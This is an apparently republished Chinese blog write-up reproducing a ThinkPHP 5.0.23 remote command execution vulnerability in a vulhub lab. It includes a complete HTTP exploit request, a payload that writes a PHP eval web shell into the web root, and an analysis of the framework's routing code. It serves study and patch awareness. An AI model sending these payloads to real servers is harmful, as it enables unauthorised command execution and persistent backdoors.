zoukankan      html  css  js  c++  java
  • 漏洞复现-thinkphp5.0.23-远程命令执行

    0x00 实验环境

    攻击机:Win 10

    靶场:docker拉的vulhub靶场

    0x01 影响版本

    5.0.23 以前的版本中,获取 method 的方法中没有正确处理方法名,导致攻击者可以调用 Request 类任意方法并构造利用链,从而导致远程代码执行漏洞。

    0x02 漏洞复现

    (1)访问存在的漏洞页面,输入以下payload:

    POST /index.php?s=captcha HTTP/1.1
    Host: x.x.x.x:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: settingStore=1630480512401_0
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 73
    
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

    (2)写shell:首先复制当前路径,然后写入shell即可,vulhub的靶场$符号被转义了,加个斜杠即可:

    /var/www/public

    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php eval($_POST[x]); ?>" > /var/www/public/h.php

     (3)连接成功!

    0x03 漏洞原理

     publicindex.php----->跟进/../thinkphp/start.php-----> hinkphplibrary hinkApp.php的run函数

     这个run函数有个监听的方法:

    // 监听 app_dispatch
    Hook::listen('app_dispatch', self::$dispatch);
    // 获取应用调度信息
    $dispatch = self::$dispatch;
    
    // 未设置调度信息则进行 URL 路由检测
    if (empty($dispatch)) {
    $dispatch = self::routeCheck($request, $config);
    }

    变量$dispatch为空,所以进入routeCheck函数,跟入到此函数

    public static function routeCheck($request, array $config)
        {
            $path   = $request->path();
            $depr   = $config['pathinfo_depr'];
            $result = false;
    
            // 路由检测
            $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
            if ($check) {
                // 开启路由
                if (is_file(RUNTIME_PATH . 'route.php')) {
                    // 读取路由缓存
                    $rules = include RUNTIME_PATH . 'route.php';
                    is_array($rules) && Route::rules($rules);

    这里可以打印一下路径,以及一些变量,能得到:

    路径变量$path为index/thinkapp/invokefunction,POC中剩余变量存储在$_GET中,继续往下跟routeCheck函数,进入

    路由无效

    关键代码如下:

            // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
            if (false === $result) {
                $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
            }

    代码会进入到Route::parseUrl函数,此函数用来解析变量$path(index/thinkapp/invokefunction),跟进到此函数:

                // 请求缓存检查
                $request->cache(
                    $config['request_cache'],
                    $config['request_cache_expire'],
                    $config['request_cache_except']
                );
    
                $data = self::exec($dispatch, $config);
            } catch (HttpResponseException $exception) {
                $data = $exception->getResponse();
            }

    最终会有个exec的函数,反正就是这个函数执行的,就暂时到这里。详细的看这篇文章:https://www.cnblogs.com/st404/p/10245844.html

    0x04 修复建议

    1、升级到高版本

    0x05 参考文献

    https://www.cnblogs.com/jiecoll/p/13425469.html

    https://www.cnblogs.com/st404/p/10245844.html

    0x06 免责声明

    本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!

  • 相关阅读:
    验证车牌警车能源车
    两个二维数组组合并且日期相同的其他值相加
    运用phpExcel导出查询的数据
    JQ加减乘除运算
    获取url传递的参数、鼠标滚动加载事件
    SQL查询将数据按字段(2017-08-15 11:34:05)进行按月分组
    关于角色和权限控制数据表相关
    有关无限极分类并排序问题
    前端解决用户登录时,禁止chrome提示用户保存密码
    前端学习之iframe配合hash做菜单导航的问题:修改src跳转与contentWindow.location.replace('')的问题
  • 原文地址:https://www.cnblogs.com/cute-puli/p/15424599.html
Copyright © 2011-2022 走看看